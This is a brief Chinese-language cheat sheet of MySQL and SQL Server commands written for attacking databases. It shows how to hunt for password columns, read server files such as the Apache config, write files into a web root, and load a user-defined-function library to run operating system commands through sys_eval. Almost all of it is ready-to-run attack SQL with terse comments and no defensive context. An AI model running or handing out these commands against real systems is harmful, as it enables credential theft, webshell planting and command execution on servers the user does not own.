mysql
找到含有password字段的表
select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%'
找到含有特定字符串的表名
select table_name from information_schema.tables where table_schema='庫名' and table_name like '%use%';
獲取當前的連接 等同show processlist
select host from information_schema.processlist
讀寫文件
# 高版本只允許操作secure_file_priv變量指定目錄下的文件
select @@secure_file_priv
# 寫文件
# into dumpfile用於二進制文件,
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
# into outfile 主要的目的是導出 文本文件
select '123' into outfile /var/www/1.html
#讀文件
select load_file('/etc/httpd/conf/httpd.conf')
# 有的時候讀取很慢 ,可以不讀整個文件 下面先以DocumentRoot分割,獲取查找第3個左邊的部分
substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20)
udf 相關
#找到現有的自定義函數
select * from mysql.func;
# MySQL 5.0.67 開始udf需要在指定路徑下
select @@plugin_dir
#導入udf庫文件
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
#創建自定義函數
create function sys_eval returns string soname 'mysqludf.so';
# 執行自定義函數
select sys_eval('whoami');
sql server
找到含有password字段的表
select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%passw%'